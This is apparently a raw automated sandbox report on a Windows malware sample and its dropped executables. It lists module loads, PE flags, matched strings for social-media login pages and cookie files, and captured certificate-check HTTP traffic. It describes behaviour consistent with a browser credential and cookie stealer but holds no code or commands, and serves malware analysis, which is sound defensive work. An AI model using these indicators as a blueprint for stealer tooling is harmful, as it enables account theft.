"api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "QX6jY18.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "QX6jY18.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "2iq2723.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "7TG93zJ.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "7TG93zJ.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "8Ui694dn.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll" - [base:0; Status:c0000135] "9yR3LL2.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "9yR3LL2.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "9yR3LL2.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "Wtsapi32" - [base:68f344b4; Status:c0000135]46:T4d3,"fa951d632a6b1c8efb577fc5b43a64b5.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Ia3cO08.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "QX6jY18.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Qb7Pk11.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "9yR3LL2.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "8Ui694dn.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2iq2723.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT47:Ted0,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found string "https://twitter.com/i/flow/login" (Indicator: "twitter"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "twitter"; File: "6JLKE8MO.txt") file/memory contains long string with (Indicator: "twitter"; File: "KX8CCQRS.txt") Found string "CheckConnectionTempCookie943278026accounts.youtube.com/accounts/2147484752109980595231069588100237782731069588CheckConnectionTempCookie39151305accounts.youtube.com/accounts/2147484752110980595231069588101776845231069588" (Indicator: "youtube"; File: "AVMMR1L4.txt") Found string "guest_id_marketingv1%3A169981639199338472twitter.com/10259576826883121644774808095231069588guest_id_adsv1%3A169981639199338472twitter.com/10259576826883121644776089345231069588" (Indicator: "twitter"; File: "XDQKMSSB.txt") Found string "CheckConnectionTempCookie943278026accounts.youtube.com/accounts/2147484752109980595231069588100237782731069588" (Indicator: "youtube"; File: "B0WLF6PG.txt") Found string "guest_id_marketingv1%3A169981639199338472twitter.com/10259576826883121644774808095231069588" (Indicator: "twitter"; File: "0H446A3G.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "4IRTSWSG.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "twitter.com" (Indicator: "twitter"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: twitter.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "twitter"; File: "SSL") file/memory contains long string with (Indicator: "twitter"; File: "SSL") file/memory contains long string with (Indicator: "youtube"; File: "SSL") Found string "if (window.parent && window.parent.postMessage) {window.parent.postMessage( google.checkconnection.getMsgToSend('youtube', '1699812933910'), 'https:\/\/accounts.google.com');}" (Indicator: "youtube"; File: "CheckConnection_2_.htm") Found string "if (window.parent && window.parent.postMessage) {window.parent.postMessage( google.checkconnection.getMsgToSend('youtube', '1699812933804'), 'https:\/\/accounts.google.com');}" (Indicator: "youtube"; File: "CheckConnection_1_.htm") file/memory contains long string with (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "},s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='https://static.ads-twitter.com/uwt.js'," (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string ".r-37j5jr{font-family:"TwitterChirp",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;}" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "

" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin") Found string "

Weve detected that JavaScript is disabled in this browser. Please enable JavaScript or switch to a supported browser to continue using twitter.com. You can see a list of supported browsers in our Help Center.

" (Indicator: "twitter"; File: "urlref_httpstwitter.comiflowlogin")48:T2c58,"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:30:13 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2549 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:30:13 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2550 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:24:10 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2925 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:25:10 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2865 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:22:36 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3020 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:22:36 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3024 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:50:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1374 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 19:12:39 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 26 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Cache-Control: max-age = 14400 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:50:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1380 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: o.ss2.us" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 2065 Connection: keep-alive Server: Sucuri/Cloudproxy Date: Sun 12 Nov 2023 11:37:58 GMT X-Sucuri-ID: 11024 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Sun 12 Nov 2023 07:28:30 GMT Expires: Mon 13 Nov 2023 07:28:30 GMT ETag: "7f152459984a7f5976f0686d659db1f1ced5f237" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: EXPIRED X-Cache: Hit from cloudfront Via: 1.1 36cc13280ef76bb2fee6ae5eed6fec2e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO20-C1 X-Amz-Cf-Id: ooSdTgtp2-arrqe8VCt0nITz0ZQTjMI1gw6gbVP2PYtqK0Gk-l7IQQ== Age: 27310 with response body ==>....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1548 Connection: keep-alive Date: Sun 12 Nov 2023 18:47:41 GMT Last-Modified: Sun 12 Nov 2023 18:47:41 GMT ETag: b70d64671ff35bb789a9b812cadf3939556ed232 Expires: Sun 19 Nov 2023 18:47:41 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1426 Connection: keep-alive Date: Sun 12 Nov 2023 18:43:35 GMT Last-Modified: Sun 12 Nov 2023 18:43:35 GMT ETag: 7d9641d7f92320d4d8e082c30f50f173fcdaec83 Expires: Sun 19 Nov 2023 18:43:35 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /rootca1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: binary/octet-stream Content-Length: 651 Connection: keep-alive Last-Modified: Fri 03 Nov 2023 19:02:36 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: NicKmKPxj9MhkwP08gpbx2qrcwxOQ_VR Accept-Ranges: bytes Server: AmazonS3 Date: Sun 12 Nov 2023 17:51:38 GMT ETag: "9058c82ab542b2701eb78e0a4e482593" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 497370ec058751eb0d9251f66d50af5e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO5-P2 X-Amz-Cf-Id: -Sidie_0M-4rR80cljFOsKwjUQwwcEfPAQM4_DfNuJyWVf8AcxiBjQ== Age: 4906 with response body ==>....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:28:31 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2693 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 12 Nov 2023 18:28:31 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2694 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.r2m02.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 471 Connection: keep-alive Cache-Control: max-age=7200 Date: Sun 12 Nov 2023 17:30:54 GMT Server: ECAcc (sac/2532) X-Cache: Hit from cloudfront Via: 1.1 f35add5fd0d6be2f1dc96127712b3846.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P3 X-Amz-Cf-Id: FQRvXMOLY9guD0nxPPDLdCLPmQ_dn-y1Z8KtMW4soI_MHK7A0zhPIQ== Age: 6152 with response body ==>....... "GET /r2m02.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.r2m02.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 458929 Connection: keep-alive Accept-Ranges: bytes Cache-Control: max-age=7200 Cache-Control: public Date: Sun 12 Nov 2023 18:47:37 GMT ETag: "65510822-700b1" Expires: Sun 12 Nov 2023 20:47:37 GMT Last-Modified: Sun 12 Nov 2023 17:15:14 GMT Server: ECAcc (sed/58BF) X-Cache: Hit from cloudfront Via: 1.1 feb9ecc5fd8524e1ca167ec0c51fe7be.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P6 X-Amz-Cf-Id: gj-YKijmTQY0VMAHUmoqa_m75NPk_V1eav6YuiPL__xLl5P8hfEEUA== Age: 1551 with response body ==>.......49:T3b2a,"fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68ba0000 "fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72680000 "fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "KERNEL32" at base 76da0000 "fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "fa951d632a6b1c8efb577fc5b43a64b5.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68ec0000 "Ia3cO08.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68b70000 "Ia3cO08.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "QX6jY18.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68ba0000 "QX6jY18.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "QX6jY18.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72680000 "QX6jY18.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "QX6jY18.exe" loaded module "KERNEL32" at base 76da0000 "QX6jY18.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "QX6jY18.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68ec0000 "Qb7Pk11.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "Qb7Pk11.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68b70000 "1gT33kS4.exe" loaded module "COMCTL32.DLL" at base 739a0000 "1gT33kS4.exe" loaded module "KERNEL32.DLL" at base 76da0000 "1gT33kS4.exe" loaded module "UXTHEME.DLL" at base 73a00000 "1gT33kS4.exe" loaded module "IMM32.DLL" at base 753c0000 "1gT33kS4.exe" loaded module "COMCTL32" at base 73c00000 "1gT33kS4.exe" loaded module "COMCTL32.DLL" at base 73c00000 "1gT33kS4.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6c7b0000 "1gT33kS4.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 69310000 "1gT33kS4.exe" loaded module "PROPSYS.DLL" at base 73ac0000 "1gT33kS4.exe" loaded module "OLE32.DLL" at base 75f70000 "1gT33kS4.exe" loaded module "IERTUTIL.DLL" at base 754e0000 "1gT33kS4.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 750b0000 "1gT33kS4.exe" loaded module "USER32.DLL" at base 753f0000 "1gT33kS4.exe" loaded module "URLMON.DLL" at base 750c0000 "1gT33kS4.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 69300000 "1gT33kS4.exe" loaded module "OLEAUT32.DLL" at base 758c0000 "1gT33kS4.exe" loaded module "ADVAPI32.DLL" at base 75d20000 "1gT33kS4.exe" loaded module "APPHELP.DLL" at base 74c30000 "1gT33kS4.exe" loaded module "CLBCATQ.DLL" at base 77040000 "1gT33kS4.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73ac0000 "1gT33kS4.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 760d0000 "1gT33kS4.exe" loaded module "SETUPAPI.DLL" at base 75dd0000 "1gT33kS4.exe" loaded module "RPCRT4.DLL" at base 75c10000 "1gT33kS4.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "2iq2723.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "2iq2723.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 75380000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 74c80000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6e6c0000 "AppLaunch.exe" loaded module "OLE32.DLL" at base 75f70000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74750000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 741f0000 "AppLaunch.exe" loaded module "DNSAPI.DLL" at base 74610000 "AppLaunch.exe" loaded module "IPHLPAPI.DLL" at base 742e0000 "AppLaunch.exe" loaded module "RASADHLP.DLL" at base 715a0000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 760d0000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 75d20000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 76da0000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 74d90000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 714b0000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 750b0000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 701e0000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 754c0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74740000 "AppLaunch.exe" loaded module "URLMON.DLL" at base 750c0000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 69300000 "AppLaunch.exe" loaded 